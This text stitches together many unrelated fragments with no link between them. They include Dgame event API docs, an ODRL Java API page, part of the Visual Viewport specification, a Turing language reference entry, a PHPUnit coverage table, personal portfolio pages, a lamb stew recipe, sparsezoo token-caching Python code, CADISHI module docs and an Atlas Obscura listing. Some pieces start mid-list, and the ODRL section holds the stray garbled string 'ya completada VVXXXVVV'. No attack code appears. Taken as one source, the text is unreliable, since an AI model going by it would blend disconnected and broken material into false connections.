- Window has gained keyboard focus.
- FocusLost
- Window has lost keyboard focus.
- Closed
- The window manager requests that the window be closed.
- struct WindowEvent;
- The Window Event structure.
- WindowEventId eventId;
- The Window Event id.
- struct KeyboardEvent;
- The Keyboard Event structure.
- Keyboard.State state;
- Keyboard State. See: Dgame.Input.Keyboard.
- Keyboard.Code code;
- The Key which is released or pressed.
- Keyboard.Mod mod;
- The Key modifier.
- bool repeat;
- true, if this is a key repeat.
- alias key = code;
- An alias
- struct MouseButtonEvent;
- The Mouse button Event structure.
- Mouse.Button button;
- The mouse button which is pressed or released.
- Mouse.State state;
- Mouse State. See: Dgame.Input.Mouse.
- ubyte clicks;
- 1 for single-click, 2 for double-click, etc.
- int x;
- Current x position.
- int y;
- Current y position.
- struct MouseMotionEvent;
- The Mouse motion Event structure.
- Mouse.State state;
- Mouse State. See: Dgame.Input.Mouse.
- int x;
- Current x position.
- int y;
- Current y position.
- int rel_x;
- Relative motion in the x direction.
- int rel_y;
- Relative motion in the y direction.
- struct MouseWheelEvent;
- The Mouse wheel Event structure.
- int x;
- The amount scrolled horizontally, positive to the right and negative to the left
- int y;
- The amount scrolled vertically, positive away from the user and negative toward the user
- struct Event;
- The Event structure.
Event defines a system event and it's parameters
Author:
Randy Schuett<EMAIL_ADDRESS>- enum Type: int;
- All supported Event Types.
- Quit
- Quit Event. Time to close the window.
- Window
- Something happens with the window.
- KeyDown
- A key is pressed.
- KeyUp
- A key is released.
- MouseMotion
- The mouse has moved.
- MouseButtonDown
- A mouse button is pressed.
- MouseButtonUp
- A mouse button is released.
- MouseWheel
- The mouse wheel has scolled.
- Type type;
- The type of the Event
- uint timestamp;
- Milliseconds since the app is running
- uint windowId;
- The window which has raised this event
- union MouseUnion;
- Mouse union
- MouseButtonEvent button;
- Mouse button Event
- MouseMotionEvent motion;
- Mouse motion Event
- MouseWheelEvent wheel;
- Mouse wheel Event
- KeyboardEvent keyboard;
- Keyboard Event
- WindowEvent window;
- Window Event
- MouseUnion mouse;
- Mouse Events
Page generated by Ddoc.


|
ODRL2.0 Simple API
1.0
A simple API to manage simple ODRL2.0 expressions
|
Public Member Functions | |
| Asset () | |
| Asset (String s) | |
| List< Policy > | getPolicies () |
| void | setPolicy (Policy policy) |
| void | addPolicy (Policy policy) |
| void | removePolicy (String uri) |
| Public Member Functions inherited from odrlmodel.MetadataObject | |
| MetadataObject () | |
| MetadataObject (String _uri) | |
| MetadataObject (MetadataObject mo) | |
| void | setURI (String _uri) |
| String | getURI () |
| boolean | isAnon () |
| String | getComment () |
| void | setComment (String _comment) |
| String | getSeeAlso () |
| String | getTitle () |
| void | setTitle (String _title) |
| String | getLabel (String lan) |
| void | addLabel (String label) |
| void | setLabel (String label, String lang) |
| void | setLabel (String _label) |
| String | toString () |
Public Attributes | |
| List< Policy > | policies = new ArrayList() |
| Public Attributes inherited from odrlmodel.MetadataObject | |
| List< String > | labels = new ArrayList() |
| String | comment = "" |
| String | seeAlso ="" |
| String | title ="" |
| String | uri = "" |
Additional Inherited Members | |
| Static Public Attributes inherited from odrlmodel.MetadataObject | |
| static final String | DEFAULT_NAMESPACE = LDRConfig.getNamespace() |
This class represents an ODRL 2.0 Asset
The Asset entity is aimed at identifying the content that is the subject of an ODRL policy, e.g. a media file or ebook. Furthermore, it can be used to represent other Asset entities that are needed to undertake the Policy expression, such as with the Duty entity.
The Asset entity is referred to by the Permission and/or Prohibition entities, and also by the Duty entity. The Asset entity contains the following attribute: uid: the unique identification of the Asset (REQUIRED)
The identification of the Asset entity is a key foundation of the ODRL Policy language. However, there are some use cases where the ODRL Policy expression MAY be embedded inside the target Asset. In these cases, it MAY be more appropriate to provide, or infer, a link to the Asset entity (as the complete Asset uid may not be known at the time) through the local context. Use of such inference and context MUST be documented in the relevant ODRL community Profile.
Since ODRL _policies could deal with any kind of asset, the ODRL Core Model does not provide additional metadata to describe Asset entities of particular media types. It is recommended to use already existing metadata standards, such as Dublin Core Metadata Terms that are appropriate to the Asset type or purpose.
The Relation entity is used to associate the Asset entity with the relevant Permission, Prohibition, and Duty entities
| odrlmodel.Asset.Asset | ( | ) |
Creates a Linked Data resource, identifiable by its URI. A random URI is given.
| odrlmodel.Asset.Asset | ( | String | s | ) |
Creates a Linked Data resource, identifiable by its URI.
| s | URI of the asset |
| void odrlmodel.Asset.addPolicy | ( | Policy | policy | ) |
Adds a policy to the list of policy
| policy | New policy to be added |
| List<Policy> odrlmodel.Asset.getPolicies | ( | ) |
Returns the list of _policies ya completada
VVXXXVVV
| void odrlmodel.Asset.removePolicy | ( | String | uri | ) |
Removes the policy of the given URI uri of the policy to be removed
| void odrlmodel.Asset.setPolicy | ( | Policy | policy | ) |
Sets the given policy as the only policy
| policy | The policy |
| List<Policy> odrlmodel.Asset.policies = new ArrayList() |
An asseet may have attached a set of _policies


The APIs introduced by this document provide authors with a way to determine and interact with the properties of the visual viewport.
Some user agents have split their viewport into two conceptual viewports, colloquially
known as the visual and layout viewports. This separation is useful in
enabling a user agent (UA) with a small screen to allow the user to zoom in on parts of the page
without causing the page to respond, for example, by obscuring the user's view with
position: fixed
elements. As another example, mobile UAs often provide an on-screen
keyboard (OSK) for user input. Without the visual/layout split, a position: fixed
element would be pushed up when the OSK is shown, obscuring the user's view. Informally,
the layout viewport is what the web page uses when laying out its UI while the visual viewport
is the box on the page that the user can currently see, accounting for transient UI features like
pinch-zoom and the OSK.
The existing APIs provided by UAs are ambiguous about which viewport they're relative to. For
example, document.scrollingElement.scrollLeft
returns the scroll position of the
visual viewport while document.scrollingElement.clientWidth
returns the width of
the layout viewport. getBoundingClientRect
returns the rect relative to the layout
viewport while positioning non-fixed elements relative to the layout viewport is difficult. This
makes building UI that responds to scrolls across mobile and desktop UAs difficult. Worse still,
there's no way for the developer to be notified when the visual viewport changes. For example,
the only way to know when the user has zoomed is to poll or listen to touch events and continually
check window.innerWidth
.
The Visual Viewport API is designed to provide an explicit mechanism for developers to query and potentially modify the properties of the visual viewport. It also introduces events that allow the page to listen for changes in the visual viewport, allowing UX that explicitly wants to react to these changes to do so. For example, the page could keep a small text-formatting bar above the OSK.
The visual viewport is a kind of viewport whose scrolling area is another viewport, called the layout viewport.
In addition to scrolling, the visual viewport also allows applying a scale transform to its layout viewport. This transform is applied to the canvas of the layout viewport and does not affect its internal coordinate space.
The magnitude of the scale transform is known as the visual viewport's scale factor
The window object has an associated visual viewport which is a VisualViewport object. Every visual viewport is associated with exactly one window object that never changes. The associated document of a visual viewport is the associated document of its associated window.
Window
interface
This document extends the Window
interface defined by [[HTML]].
partial interface Window { [SameObject, Replaceable] readonly attribute VisualViewport? visualViewport; };
Intuitively, the VisualViewport object is only returned and useful for a window whose Document is currently being presented. If a reference is retained to a VisualViewport whose associated Document is not being currently presented, the values in that VisualViewport must not reveal any information about the browsing context.
VisualViewport
interfaceA VisualViewport object represents the visual viewport a document is being presented in if it is fully active. Each window in a page has its own distinct VisualViewport object.
A document being presented in any browsing context, including a nested browsing context, will have its own visual viewport. However, most user agents modify the visual viewport only on a top-level browsing context. The visual viewport in a nested browsing context is provided for ergonomic reasons.
For example: if a script retains a reference to a VisualViewport for an iframe, then navigates the iframe to another location, reading the integral values from the VisualViewport reference will return 0 because its window's Document is no longer being presented in a browsing content; it is no longer fully-active.
Unless otherwise stated, all returned values in this section are defined in CSS pixels.

Otherwise, return the offset of the left edge of the visual viewport from the left edge of the layout viewport.
If the visual viewport's associated document is not fully active, return 0.
Otherwise, return the offset of the top edge of the visual viewport from the top edge of the layout viewport.
If the visual viewport's associated document is not fully active, return 0.
Otherwise, return the offset of the left edge of the visual viewport from the left edge of the initial containing block of the layout viewport's document.
If the visual viewport's associated document is not fully active, return 0.
Otherwise, return the offset of the top edge of the visual viewport from the top edge of the initial containing block of the layout viewport's document.
If the visual viewport's associated document is not fully active, return 0.
Otherwise, return the width of the visual viewport in CSS pixels. This value excludes the width of any rendered classic scrollbar that is fixed to the visual viewport.
If the visual viewport's associated document is not fully active, return 0.
Otherwise, return the height of the visual viewport in CSS pixels. This value excludes the height of any rendered classic scrollbar that is fixed to the visual viewport.
If the visual viewport's associated document is not fully active, return 0 and abort these steps.
If there is no output device, return 1 and abort these steps.
Let CSS pixel size be the size of a CSS reference pixel
scaled by the current page zoom and the scale factor of the visual viewport associated with this window
Let device pixel size be the size of a device pixel of the output device.
Let device independent pixel size be the product of device pixel size and the devicePixelRatio
Return the result of dividing the CSS pixel size by the device independent pixel size.
Returns an array of DOMRects that represent the dimensions of each existing viewport segment.
A viewport segment represents the region of the visual viewport that resides on a separate display or logical display region. When the visual viewport spans across some number of physical features of a device, these features in turn convey a logical separation of the space available for content.
segments
is null when there is only a single viewport segment. Returns null when called from within an iframe context.
Events
sectionAppend following step as the last step of run the resize steps:
resize
at the doc's associated Window's
VisualViewport.
Replace step 1.1 of run the scroll steps with:
If target is a Document, fire an event named scroll that bubbles at target.
target
is a Document, [=fire an event=] named scroll
that
bubbles at target
. Then, [=fire an event=] named scroll
at the
VisualViewport of the Document's associated Window.


--- title: Documentation | BATHNES Digital Toolkit fabricator: true ---
Documentation and guidance for the toolkit.
If you need help contact cis@bathnes.gov.uk


A Workshop at CVPR'2019
To download the extra test images and submit your results, please registrate on the contest page.


repeat
Syntax
repeat ( s : string, i : int ) : string
Description
The repeat function returns i copies of string s catenated together. For example, repeat ("X", 4) is XXXX.
Example
This program outputs HoHoHo.
var word : string := "Ho"
put repeat ( word, 3 )
Details
If i is less than or equal to zero, the null string "" is returned. The repeat function is often used for spacing of output. For example, this statement skips 20 blanks before outputting x.
put repeat (" ", 20), x


| Storefront | ||||
|
||||
| Coverage | ||||||||||||
| Lines | Functions / Methods | Classes | ||||||||||
| Total |
|
4.70% | 72 / 1532 |
|
4.25% | 9 / 212 |
|
77.78% | 7 / 9 | |||
| Adapter |
|
10.72% | 55 / 513 |
|
6.67% | 4 / 60 |
|
100.00% | 3 / 3 | |||
| Statement |
|
3.03% | 2 / 66 |
|
0.00% | 0 / 20 |
|
100.00% | 1 / 1 | |||
| Table |
|
1.90% | 8 / 421 |
|
5.88% | 3 / 51 |
|
100.00% | 1 / 1 | |||
| Expr.php |
|
0.00% | 0 / 3 |
|
0.00% | 0 / 2 |
|
0.00% | 0 / 1 | |||
| Profiler.php |
|
4.17% | 4 / 96 |
|
12.50% | 2 / 16 |
|
100.00% | 1 / 1 | |||
| Select.php |
|
0.32% | 1 / 309 |
|
0.00% | 0 / 48 |
|
0.00% | 0 / 1 | |||
| Statement.php |
|
1.61% | 2 / 124 |
|
0.00% | 0 / 15 |
|
100.00% | 1 / 1 |
| Generated by PHPUnit 3.3.17 and Xdebug 2.0.5 at Sun Aug 16 10:15:17 BST 2009. |


Shuja Sajjad
Welcome to the site of a budding data scientist!
Email:
<EMAIL_ADDRESS>Github:
sampleName
Twitter:
coming soon
Books
Movies
Games
Tintin
There Will Be Blood
CS:GO
The Andromeda Strain
The Departed
Marvel Vs. Capcom
Jurassic Park
Rat Race
The Old Republic


{{responsiveForm.status}}: {{responsiveForm.title}}
{{responsiveForm.loadingMessage}}
Error {{responsiveForm.errorCode}} - {{responsiveForm.errorMessage}}
{{field.displayName}}
Save
Delete
Confirmation
Do you want to delete this record?


CADISHI modules¶
The following documentation was automatically generated from the docstrings present in the source code files.
cadishi¶
Cadishi distance histogram calculation package.
cadishi.base¶
Cadishi base library.
Provides the basic data container class and some more base classes that are used throughout the Cadishi (and Capriqorn) code.
Moreover, the loc_* strings are defined here centrally to point to the default locations for various data in dictfs and, consequently, in HDF5 files.
-
class
cadishi.base.
Container
(number=-1, mkdir=[])[source]¶ Central container to hold/accumulate data while it is proparaged through Cadishi’s workers or Capriqorn’s pipelines.
-
append_data
(other, location, skip_keys=['radii'])[source]¶ Append data at location from other to self. If location does not exist in the current instance, it is created.
-
get_geometry
(valid_geom=['Sphere', 'Cuboid', 'Ellipsoid', 'ReferenceStructure', 'MultiReferenceStructure', 'Voxels'])[source]¶ Search the pipeline log backwards for a geometry filter that was potentially used, and return the result as a string, or return None.
-
query_meta
(path)[source]¶ Obtain a value from the pipeline log list by using a Unix-path-like string identifier.
-
-
class
cadishi.base.
Filter
(source=-1, verbose=False)[source]¶ Filter base class, to be overloaded by an actual implementation.
-
class
cadishi.base.
PipelineElement
[source]¶ Base class common to Filter, Reader, and Writer. Provides methods needed to implement dependency checking between pipeline elements. Note: The “object” parameter makes it a new style class which is necessary to make the “super()” mechanism work to implement inheritance of the _depends and _conflicts lists.
cadishi.io.ascii¶
Cadishi ASCII IO library.
ASCII data writer for base.Container instances, mainly designed for debugging purposes. A reader is currently not implemented.
cadishi.io.dummy¶
Cadishi dummy IO module, useful to test and develop Capriqorn pipelines.
cadishi.io.hdf5¶
Cadishi HDF5 IO library.
HDF5 data reader/writer for base.Container instances. Heavily used by Cadishi and Capriqorn.
-
class
cadishi.io.hdf5.
H5Reader
(file=['default.h5'], first=1, last=None, step=1, shuffle=False, shuffle_reproducible=False, verbose=False)[source]¶ HDF5 reader returning base.Container instances.
-
get_frame
(idx_tuple)[source]¶ Read a frame identified by its (file_idx, frame_idx) and return a Container object.
-
-
class
cadishi.io.hdf5.
H5Writer
(file='default.hdf5', source=-1, compression=None, mode='w', verbose=False)[source]¶ HDF5 writer for base.Container instances.
-
default_compression
= 'lzf'¶
-
dump
()[source]¶ Save a series of frames (== trajectory). The dump() method saves all the frames pending from the Writer’s data source (self.src). If the user code sets up a data processing pipeline, the dump() routine drives it by providing the final sink.
-
get_meta
()[source]¶ Return information on the HDF5 writer, ready to be added to a frame object’s list of pipeline meta information.
-
valid_compression
= [None, 'gzip', 'lzf']¶
-
cadishi.io.pickle¶
Cadishi IO library using pickle.
The name was chosen deliberately to read ‘pickel’ to avoid name conflicts.
May be used as a fallback in case HDF5 is not available. It is, however, significantly slower than HDF5.
-
class
cadishi.io.pickel.
PickleReader
(file='default_', first=None, last=None, step=1, verbose=False)[source]¶ Pickle reader for base.Container instances.
-
class
cadishi.io.pickel.
PickleWriter
(file='default_', source=-1, verbose=False)[source]¶ Pickle writer for base.Container instances.
-
dump
()[source]¶ Save a series of base.Container instances pending from the writer’s data source to individual pickle files.
-
cadishi.dict_util¶
Various NumPy- and dictionary-related utilities.
Implements add, append, and scale operations for numerical data (ie. NumPy arrays) stored in dictionaries. In addition, an ASCII output routine is provided.
-
cadishi.dict_util.
append_values
(X, Y, skip_keys=['radii'])[source]¶ Implement X.append(Y) where X and Y are Python dictionaries that contain NumPy data types. The operation is applied to X for any value in Y, excluding keys that are in the list skip_keys. Typically, the values of X, Y are NumPy arrays (e.g. particle numbers) that are appended.
Parameters: - X (dict) – X is a dictionary with string keys that contains NumPy arrays.
- Y (dict) – Y is a dictionary with string keys that contains NumPy arrays.
- skip_keys (list of strings) – skip_keys is a list of strings for which the append operation is skipped.
Returns: The function scale_values operates on X directly and does not return anything.
Return type: None
-
cadishi.dict_util.
scale_values
(X, C, skip_keys=['radii', 'frame'])[source]¶ Implement X = X times C where X is a Python dictionary that contains supported data types. The operation is applied to any value in X, excluding keys that are in the list skip_keys. Typically, the values of X are NumPy arrays (histograms) that are rescaled after summation using a scalar C (e.g. to implement averaging operation).
Parameters: - X (dict) – X is a dictionary with string keys that contains NumPy arrays.
- C (scalar, NumPy array) – C is a multiplier, either a scalar of a NumPy array of size compatible with the contents of X.
- skip_keys (list of strings) – skip_keys is a list of strings for which the sum operation is skipped.
Returns: The function scale_values operates on X directly and does not return anything.
Return type: None
-
cadishi.dict_util.
sum_values
(X, Y, skip_keys=['radii', 'frame'])[source]¶ Implement X += Y where X and Y are Python dictionaries (with string keys) that contain summable data types. The operation is applied to X for any value in Y, excluding keys that are in the list skip_keys. Typically, the values of X, Y are NumPy arrays (e.g. histograms) that are summed.
Parameters: - X (dict) – X is a dictionary with string keys that contains NumPy arrays.
- Y (dict) – Y is a dictionary with string keys that contains NumPy arrays.
- skip_keys (list of strings) – skip_keys is a list of strings for which the sum operation is skipped.
Returns: The function sum_values operates on X directly and does not return anything.
Return type: None
-
cadishi.dict_util.
write_dict
(dic, path, level=0)[source]¶ Write a dictionary containing NumPy arrays or other Python data structures to text files. In case the dictionary contains other dictionaries, the function is called recursively. The keys should be strings to guarantee successful operation.
Parameters: - dic (dictionary) – A dictionary containing NumPy arrays or other Python data structures.
- path (string) – Path where the dictionary and its data shall be written to.
- level (int, optional) – Level in the nested-dictionary hierarchy during recursive operation. This parameter was added for debugging purposes and does not have any practical relevance.
Returns: The function write_dict does not return anything.
Return type: None
cadishi.dictfs¶
dictfs, the dictionary-based in-memory “file system”.
Store and retrieve data from nested dictionaries in memory using path name strings similar to a UNIX file system. Can be used in tandem with HDF5 IO.
cadishi.h5pickle¶
Python-to-HDF5 serialization.
h5pickle.py provides load() and save() routines to write Python data structures into HDF5 files. It works with NumPy arrays and basic Python data types. Nested dictionaries are used to map HDF5 group hierarchies.
Note: The code is likely to fail with more complicated Python data types.
Working with the typical data sets used with Cadishi and Capriqorn, the HDF5 serialization implemented by h5pickle turns out to be a factor of 10 faster than Python’s native Pickle.
cadishi.util¶
Miscellaneous useful and convenient functions used by Cadishi and Capriqorn, of potential general use.
-
cadishi.util.
appendLineToFile
(file_name, string)[source]¶ Append string as a line to the end of the file identified by file_name.
-
cadishi.util.
check_parameter
(parameters, label, dtype, default_value, valid_values=None, min_value=None, max_value=None, file_existence=False)[source]¶ Check a parameter for validity.
Throws ValueError or IOError with useful end-user-friendly messages.
-
cadishi.util.
check_parameter_labels
(input, reference)[source]¶ Check the keys of a two-level nested dictionary structure against a reference structure.
Raises KeyError in case of an invalid key.
-
cadishi.util.
compare
(histo1, histo2)[source]¶ Compare two NumPy arrays (e.g. histograms) if they are identical.
-
cadishi.util.
compare_approximately
(histo1, histo2, ks_stat_max=0.01, p_value_min=0.99)[source]¶ Check if two histograms (1D numpy arrays) or two sets of histograms (2D numpy arrays) are reasonably similar.
The routine can be used to check the results of single precision computations against a reference file. Computes the Kolmogorov-Smirnov statistic on 2 samples using http://docs.scipy.org/doc/scipy-0.15.1/reference/generated/scipy.stats.ks_2samp.html
-
cadishi.util.
compare_strictly
(histo1, histo2)[source]¶ Check if two histograms (1D numpy arrays) or two sets of histograms (2D numpy arrays) are identical.
Only suitable to check the results of double precision computations.
-
cadishi.util.
dump_histograms
(file_name, histograms, r_max, n_bins)[source]¶ Save histograms into a NumPy text file. Legacy routine.
-
cadishi.util.
generate_random_coordinate_set
(n_atoms=[512, 1024, 2048], coord_min=(0.0, 0.0, 0.0), coord_max=(1.0, 1.0, 1.0), blowup_factor=1.0)[source]¶ Return pseudo-random coordinate sets in a box.
-
cadishi.util.
generate_random_point_in_sphere
(R)[source]¶ Return a coordinate triple of a randomly located point inside a sphere of radius R.
-
cadishi.util.
generate_random_point_on_spherical_surface
(R)[source]¶ Return a coordinate triple of a randomly located point inside a sphere of radius R.
-
cadishi.util.
get_elements
(header)[source]¶ Return a complete list of all the chemical elements present in a header. Header may be a string or a list containing single element IDs or pair combinations thereof. “#” and “radii” are skipped automatically.
-
cadishi.util.
get_n_cpu_cores
()[source]¶ Determine the number of CPU cores on a Linux host.
Returns: number of CPU cores Return type: int
-
cadishi.util.
get_n_cpu_sockets
()[source]¶ Determine the number of CPU sockets on a Linux host.
Returns: - int – number of CPU sockets
- May throw an IOError exception in case /proc/cpuinfo does not exist.
-
cadishi.util.
get_numa_domains
()[source]¶ Parse and return the output of the <numactl –hardware> command.
-
cadishi.util.
load_class
(module_name, class_name)[source]¶ Load a class from a module, where class and module are specified as strings. Useful to dynamically build Capriqorn pipelines.
-
cadishi.util.
load_parameter_file
(file_name)[source]¶ Load parameters from a JSON or YAML file and return it as a nested structure of dictionaries.
-
cadishi.util.
ls
(resource, files=True, directories=False)[source]¶ Return a list of files and optionally directories located at resource.
-
cadishi.util.
md
(resource)[source]¶ Create a directory (for a file), if necessary. The behaviour highly depends on the resource (string) parameter.
- If resource is of the form “string”,
- nothing is done.
- If resource is of the form “string/”,
- a directory labeled “string” is created.
- If resource is of the form “string/foo”,
- a directory labeled “string” is created.
- If resource is of the form “string/foo/”,
- a directory structure “string/foo” is created.
-
cadishi.util.
open_r
(file_name)[source]¶ Open an uncompressed or GZIP-compressed text file for reading.  The return value may be appended eg. to a pipeline_log list.
-
cadishi.util.
quote
(string)[source]¶ Add quotes to the beginning and the end of a string if not already present.
-
cadishi.util.
redirectOutput
(file_name)[source]¶ Redirect stdout and stderr of the present process to the file specified by file_name.
-
cadishi.util.
rmrf
(resource)[source]¶ Remove file or directory tree. No error is raised if the target does not exist.
-
cadishi.util.
scratch_dir
()[source]¶ Return and create a per-user scratch directory for unit test data.
-
cadishi.util.
search_pipeline
(label, pipeline)[source]¶ Iterate through the pipeline list backwards in order to find the entry (dict) identified by label (string).
-
cadishi.util.
set_numa_domain
(numa_id, numa_topology)[source]¶ Pin the current process onto a numa domain.
-
cadishi.util.
testcase
()[source]¶ Try to locate the test case that comes with cadishi. Works for a check-out (or tarball) of the source files as well as for an installation. Returns the full path to the testcase including a trailing slash.
-
cadishi.util.
timeStamp
(dateAndTime=False, t0=0.0)[source]¶ Return a string with a time stamp suitable to prefix log lines with.


Library of Congress Search Engine
Select a format...
maps
audio recordings
photo, print, drawings
manuscripts/mixed material
newspapers
film/videos
printed music
archived websites
Click Me


Welcome!
To the cycle networks tool made by the students of open Summer of code 2017.
There are 3 types of possible outputs:
- Correct
- Geometric difference or tagging issues
- Completely missing
Watch out for false positives and missing routes might be present but with the wrong operator, network or ref tag.
The routes provided by Brussels Mobility and the output of our tool is available to download below:
The source code is available here.
Last updated at:


Aaron FullerTeam Lead
Cody GarrettReact I
Michael HarmsReact II
Jonathan SolariBackend Developer
Chase RedfordUI


Beck's Land & Sea House
997 Bushkill Center Dr | Nazareth, PA 18064 |<PHONE_NUMBER>
Beck's Land & Sea House
Home
Menus
(current)
Weekly Specials
Private Parties
Contact
Menu's
Dinner Menu
Happy Hour Menu
Kid's Menu
Dessert Menu
Wine List
Holiday Menu


| Peercom Co., Ltd. |
| Product: |
My Personal Portal - “My DeskStation” and “My Home” for PCs - “My WebSpace” & “Shared WebSpace” for Web-based views
|
| Description: |
A By using JXTA’s network independent functionality, “My Personal Portal” makes it easy to view digital content that is stored in many digital devices (home pc, office pc, mobile pc, etc.)
- Content Replication “My DeskStation” helps replicate content between peer PCs. “My WebSpace – for person” and “Shared WebSpace – for group” make possible to up/download content using a web browser just like web disk service does. Users can find content without any restriction of space. Content is available to the user regardless of its source.
- Variable Content Types Digital content is sorted in by the type (file, audio, video, album type), and personal PIMS data (my favorites, memo, address, mail) is also replicated by its type.
- Micro HomePage Servcie Allows users to use PC content anytime anywhere by micro homepage function.
- DCRL (Digital Content Resource Location) The latest concept of DCRL function provides a direct service on personal PCs. Large files stored in PC can be serviced by creating a link that can be controlled from outside through static (without another server service.) For example, those large files can be delivered to a desired destination as an attachment in mail.
|
| System Requirements: |
- Windows XP, Windows 2000, Windows ME, Windows 98 SE with JRE 1.4.X
- RAM: Windows 128 MB (minimum), 256 MB (recommended)
- Disk space: Windows 50 MB
- JRE 1.4 (preferred) or later
|
| Availability & Pricing: |
Available now for Windows PC Peercom is planning to develop another version for PDA, Mobile phones.
A demo (in Korean) is available.
|
| Target Markets: |
- General users who use multiple pc devices - Web disk (Internet disk, web hard) users - Enterprise users in need of file sharing between team members - Users who share large multi media files (audio, video)
|
| Contact: |
Tae-Nyeon Ha
CEO Peercom Co., Ltd.
E-mail<EMAIL_ADDRESS>|
| Website: |
Peercom
Demo available |
|


Working with BVAL (Bloomberg Valuation) which deals with Fixed Income pricing using quantitative models. Primary languages are Python, C++ and JavaScript
TA for AI course taught by Prof. Deepak Khemani.
Intelligent Traffic Optimization using RL. Developed and simulated the system on a small segment of Electronic City, Bangalore
CS201 - Computer Organisation taught by Dr. Anil Sao.
Major duties were evaluation of lab assignments and clearing doubts
Built a Reinforcement Learning agent that was used to automate few rooms of a building simulator. It was designed to optimise energy usage.


--- layout: page title: Contact Me subtitle: "Let's get in touch!" css: "/css/contactme.css" ---
You can email me or find me on LinkedIn if you want to get in touch. I will get back to you as soon as possible!
You can also send me a quick message using the form below:


Preparation time
less than 30 mins
Cooking time
1 to 2 hours
Serves
Serves 4
This stew is spicy with a fair bit of tomato in it and cooked until the sauce is thick and unctuous, but what makes it special is the aubergine purée.
Preheat the oven to 220C/200C Fan/Gas 7.
For the red pepper paste, roast the peppers for 20-30 minutes until dark and softened. Transfer to a bowl and cover with cling film, then leave until cool enough to handle. Remove the charred skins, stalks and seeds. In a blender, blitz the red peppers with the remaining ingredients. Store for up to a week in a jar in the fridge.
Put the aubergines on a baking tray and bake whole for 25 minutes. When soft, remove from the oven and leave to cool.
For the lamb stew, warm half the olive oil in a large flameproof casserole pan over a high heat and brown the lamb in batches.
When browned, return all the lamb to the pan, add the red pepper and tomato pastes, the remaining olive oil, and the onion, garlic, chilli and green pepper. Reduce the heat to medium and cook until softened. Add the chopped tomatoes, oregano, salt and pepper, and finally the hot water. Bring to a simmer then turn down the heat, cover with the lid and allow to cook slowly for 1-1½ hours.
When cool enough to handle, peel the aubergines and mash the flesh with a fork.
In a pan over a medium heat, make a roux; melt the butter, add the flour and cook, stirring, for 2 minutes, then add the milk to give a thick white sauce. Mix in the aubergine, the grated cheese and lemon juice, and season with salt and pepper. Keep warm.
When the lamb is tender, check the sauce; it should be rich and thick. If it’s too runny, remove the lamb and reduce the liquid a little, then return the meat to the pan and warm through.
Serve the stew on top of the aubergine purée, scattered with parsley.


# Copyright (c) 2021 - present / Neuralmagic, Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Requests for authenticating with the sparsezoo cloud
"""
import json
import logging
import os
import time
from datetime import datetime, timezone
from typing import Dict
import requests
import yaml
from sparsezoo.requests.base import BASE_API_URL
from sparsezoo.utils.helpers import clean_path, create_parent_dirs
__all__ = ["get_auth_header"]
_LOGGER = logging.getLogger(__name__)
NM_TOKEN_HEADER = "nm-token-header"
AUTH_API = os.path.join(BASE_API_URL, "auth")
PUBLIC_AUTH_TYPE = "public"
CREDENTIALS_YAML = os.path.abspath(
os.getenv("NM_SPARSE_ZOO_CREDENTIALS")
if os.getenv("NM_SPARSE_ZOO_CREDENTIALS")
else clean_path(os.path.join("~", ".cache", "nm_models", "credentials.yaml"))
)
CREDENTIALS_YAML_TOKEN_KEY = "nm_api_token"
class SparseZooCredentials:
"""
Class wrapping around the sparse zoo credentials file.
"""
def __init__(self):
if os.path.exists(CREDENTIALS_YAML):
_LOGGER.info(f"Loading sparse zoo credentials from {CREDENTIALS_YAML}")
with open(CREDENTIALS_YAML) as credentials_file:
credentials_yaml = yaml.safe_load(credentials_file)
if credentials_yaml and CREDENTIALS_YAML_TOKEN_KEY in credentials_yaml:
self._token = credentials_yaml[CREDENTIALS_YAML_TOKEN_KEY]["token"]
self._created = credentials_yaml[CREDENTIALS_YAML_TOKEN_KEY][
"created"
]
else:
self._token = None
self._created = None
else:
_LOGGER.info(f"No sparse zoo credentials files found at {CREDENTIALS_YAML}")
self._token = None
self._created = None
def save_token(self, token: str, created: float):
"""
Save the jwt for accessing sparse zoo APIs. Will create the credentials file
if it does not exist already.
:param token: the jwt for accessing sparse zoo APIs
:param created: the approximate time the token was created
"""
_LOGGER.info(f"Saving sparse zoo credentials at {CREDENTIALS_YAML}")
if not os.path.exists(CREDENTIALS_YAML):
create_parent_dirs(CREDENTIALS_YAML)
with open(CREDENTIALS_YAML, "w+") as credentials_file:
credentials_yaml = yaml.safe_load(credentials_file)
if credentials_yaml is None:
credentials_yaml = {}
credentials_yaml[CREDENTIALS_YAML_TOKEN_KEY] = {
"token": token,
"created": created,
}
self._token = token
self._created = created
yaml.safe_dump(credentials_yaml, credentials_file)
@property
def token(self):
"""
:return: obtain the token if under 1 day old, else return None
"""
_LOGGER.info(f"Obtaining sparse zoo credentials from {CREDENTIALS_YAML}")
if self._token and self._created is not None:
creation_date = datetime.fromtimestamp(self._created, tz=timezone.utc)
creation_difference = datetime.now(tz=timezone.utc) - creation_date
if creation_difference.days == 0:
return self._token
else:
_LOGGER.warning(f"Expired sparse zoo credentials at {CREDENTIALS_YAML}")
return None
else:
_LOGGER.warning(f"No sparse zoo credentials found at {CREDENTIALS_YAML}")
return None


Name : Nattapong Tohhem. Nickname : Ly.
Studying the Bachelor of Science (Information Technology) Prince of Songkla University Phuket Campus.
E-Mail<EMAIL_ADDRESS>Tel : +66(0)91-826-2349.
I want to job about IT Support or Programing.
I like the challenge of working. If I did, I would do my best.


It must not be any bigger than {{ avatar_width }} x {{ avatar_height }} pixels {% endblocktrans %}


Brookfield, Illinois
Laura Atwood Studio Beads & Trading Company
Bohemian trinkets and various artisan designs populate the shelves of this local shop.
This entry is a stub
Help improve Atlas Obscura by expanding Laura Atwood Studio Beads & Trading Company with additional information or photos.
 Inside, visitors can find vintage textiles, jewelry, handbags, incenses, and even fossils.
One wall inside the shop features a rainbow collection of beaded necklaces, while other shelves play host to a variety of soaps, oils, and lotions. Stepping inside this artisan shop gives visitors the chance to experience hand-crafted goods from across the globe.
Know Before You Go
Not far from the Brookfield Zoo.
Atlas Obscura Experiences
Old Joliet Prison: History and Hollywood
Joliet, Illinois
$35 per person
Community Discussion
-
No Comments Yet
Start the discussion.
forum Visit our forums.


